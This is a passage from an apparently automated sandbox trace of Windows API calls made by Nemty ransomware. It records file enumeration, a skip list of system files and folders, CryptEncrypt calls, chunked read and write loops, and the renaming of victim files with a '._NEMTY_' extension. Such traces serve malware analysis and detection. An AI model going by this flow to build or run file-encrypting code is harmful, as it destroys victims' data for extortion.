Flags=0x0, Size=0x170) returned 0x6348ed8 [0067.656] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.656] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0067.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0067.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.666] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.666] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.666] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0067.763] CloseHandle (hObject=0xffffffff) returned 0 [0067.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0067.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0067.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0067.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0067.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0067.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0067.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.763] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png._nemty_kgobjgd_")) returned 0 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0067.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.764] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0067.764] lstrcmpiW (lpString1="button-overlay.png", lpString2=".") returned 1 [0067.764] lstrcmpiW (lpString1="button-overlay.png", lpString2="..") returned 1 [0067.764] lstrcmpiW (lpString1="button-overlay.png", lpString2="...") returned 1 [0067.764] lstrcmpiW (lpString1="button-overlay.png", lpString2="windows") returned -1 [0067.764] lstrcmpiW (lpString1="button-overlay.png", lpString2="$RECYCLE.BIN") returned 1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="rsa") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="NTDETECT.COM") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="ntldr") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="MSDOS.SYS") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="IO.SYS") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="boot.ini") returned 1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="boot.ini") returned 1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="AUTOEXEC.BAT") returned 1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="ntuser.dat") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="desktop.ini") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="CONFIG.SYS") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="RECYCLER") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="BOOTSECT.BAK") returned 1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="bootmgr") returned 1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="programdata") returned -1 [0067.772] lstrcmpiW (lpString1="button-overlay.png", lpString2="appdata") returned 1 [0067.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0067.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-overlay.png", lpUsedDefaultChar=0x0) returned 18 [0067.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0067.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0067.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-overlay.png", lpUsedDefaultChar=0x0) returned 18 [0067.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0067.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0067.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-overlay.png", lpUsedDefaultChar=0x0) returned 18 [0067.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0067.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0067.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-overlay.png", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-overlay.png", lpUsedDefaultChar=0x0) returned 18 [0067.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0067.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0067.773] Sleep (dwMilliseconds=0x5) [0067.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc0bfb10, dwHighDateTime=0x1d561e7)) [0067.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc0bfb10, dwHighDateTime=0x1d561e7)) [0067.789] GetLastError () returned 0x5 [0067.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.789] GetLastError () returned 0x5 [0067.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.789] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0067.789] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0067.789] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0067.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0067.789] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="UyPaT5yOnhF9OA3QZEiJx7C80s3KArknVPmihnJ6U0WgqyD5nONFbJwOcIyNtYJw\r\nZBMVZ6efqF1OinsB2ehpSxiajUbX9iSa2VvaZYnHVretjzdNXsSuhxzTOuVvLNBU\r\nuf9T5uH8j/dk4OoQlLRwI7eZ0HjymrRTmuUPXZHpe3wBnBjgqWRLklHJ+MkmKt6I\r\nS2saZ3ZRUcb2wdxmYajEVBGEMnm0dtrme6n9ou/bf8nklffQHeM/aAnTyNdpvNw3\r\nYDs+zLRukt4sTXXNqbMW6YFieCBTLwj/5T6+IW/U5eRH0t49r/zoWHzvmvyrrDma\r\nB4rpybWSYWWZDCahE+EuAA==\r\n", pcchString=0x653e91c) returned 1 [0067.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0067.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0067.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0067.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0067.790] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.790] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0067.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0067.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, 